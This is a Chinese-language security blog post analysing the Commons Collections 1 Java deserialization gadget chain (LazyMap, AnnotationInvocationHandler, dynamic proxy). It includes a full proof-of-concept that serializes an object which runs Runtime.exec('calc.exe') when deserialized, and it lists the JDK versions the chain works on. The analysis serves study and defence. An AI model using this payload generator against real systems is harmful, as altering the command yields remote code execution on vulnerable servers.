Java安全之Commons Collections1分析（三）

0x00 前言

继续来分析cc链，用了前面几篇文章来铺垫了一些知识。在上篇文章里，其实是硬看代码，并没有去调试。因为一直找不到JDK的低版本。全靠脑子去记传参内容尝试理解。后面的其实就简单多了，在上篇文章的基础上再去做一个分析。

0x01 CC链的另一种构造方式

上篇文章说到使用LazyMap 的get方法也可以去触发命令执行。因为LazyMap 的get方法在

这里看到this.factory变量会去调用transform方法。前面也分析了该类构造方法是一个protected修饰的。不可被直接new。需要使用decorate工厂方法去提供。那么在前面我们调用该方法并传入innerMap和transformerChain参数。

这里的innerMap是一个Map的对象，transformerChain是一个ChainedTransformer修饰过的Transformer[]数组。

Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

传入过后，LazyMap 的get方法方法里面的this.factory为Transformer[]数组，这时候去调用就会执行transform方法，而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法，导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

当然在实际中，我们还需要借助其他的类去调用这个get方法。

而在AnnotationInvocationHandler的invoke就会去调用get方法。

 public Object invoke(Object var1, Method var2, Object[] var3) {

        String var4 = var2.getName();

        Class[] var5 = var2.getParameterTypes();

        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {

            return this.equalsImpl(var3[0]);

        } else if (var5.length != 0) {

            throw new AssertionError("Too many parameters for an annotation method");

        } else {

            byte var7 = -1;

            switch(var4.hashCode()) {

            case -1776922004:

                if (var4.equals("toString")) {

                    var7 = 0;

                }

                break;

            case 147696667:

                if (var4.equals("hashCode")) {

                    var7 = 1;

                }

                break;

            case 1444986633:

                if (var4.equals("annotationType")) {

                    var7 = 2;

                }

            }

            switch(var7) {

            case 0:

                return this.toStringImpl();

            case 1:

                return this.hashCodeImpl();

            case 2:

                return this.type;

            default:

                Object var6 = this.memberValues.get(var4);

                if (var6 == null) {

                    throw new IncompleteAnnotationException(this.type, var4);

                } else if (var6 instanceof ExceptionProxy) {

                    throw ((ExceptionProxy)var6).generateException();

                } else {

                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {

                        var6 = this.cloneArray(var6);

                    }

                    return var6;

                }

这里特地标出来

Object var6 = this.memberValues.get(var4);

前面说过构造方法传入的是transformerChain， this.memberValues=transformerChain this.memberValues 是一个ChainedTransformer修饰过的Transformer[]数组。这时候调用get，get方法调用transform,又回到了刚刚的话题上了。

AnnotationInvocationHandler的invoke怎么去调用呢？

在这里会使用到动态代理的方式去调用到该方法。关于动态代理可以参考该篇文章动态代理机制。

0x02 动态代理

关于动态代理，在这里其实还是有必要单独拿出来说一下动态代理这个机制。

动态代理的实现：

Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)

第一个参数：People.getClass().getClassLoader()，使用handler对象的

classloader对象来加载我们的代理对象
第二个参数：Person.getClass().getInterfaces()，这里为代理类提供的接口是真实对象实现的接口，这样代理对象就能像真实对象一样调用接口中的所有方法
第三个参数：我们将代理对象关联到上面的InvocationHandler对象上

0x03 POC 分析

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {

        Transformer[] transformers = new Transformer[] {

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),

                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})

        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz =

                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor construct = clazz.getDeclaredConstructor(Class.class,

                Map.class);

        construct.setAccessible(true);

        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));

        oos.writeObject(handler);

    }

主要是来看这一段代码

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

这里的handler是反射创建的一个 AnnotationInvocationHandler类。而AnnotationInvocationHandler中实现了InvocationHandler接口，可以直接作为调用处理器传入。

那么在这段poc的执行中执行反序列化的时候，AnnotationInvocationHandler重写了readObject()方法，所以调用的是AnnotationInvocationHandler的readObject()方法。readObject()方法会去调用memberValues的entrySet()方法。这里的memberValues是构造方法传入进来的参数，我们是使用反射的方式对他进行创建传入的是proxyMap。

对应的代码：

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

因为proxyMap是我们的代理对象，所以调用proxyMap的entrySet()会触发到AnnotationInvocationHandler的invoke()方法进行执行。这也是动态代理的一个特性，代理对象调用任意方法，调用处理器中的invoke()方法都执行一次。

执行AnnotationInvocationHandler的invoke()方法后又会调用get方法，再次回到刚刚的地方了。

LazyMap 的get方法方法里面的this.factory为Transformer[]数组，这时候去调用就会执行transform方法，而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法，导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

0x04 结尾

在CC1这条链里面其实是有版本限制的，在高版本无法使用。因为AnnotationInvocationHandler的readObject()复写点这个地方在高版本中是进行了改动。在其他大佬测试中jdk1.7u21、jdk1.8_101、jdk1.8_171这几个版本是可用的。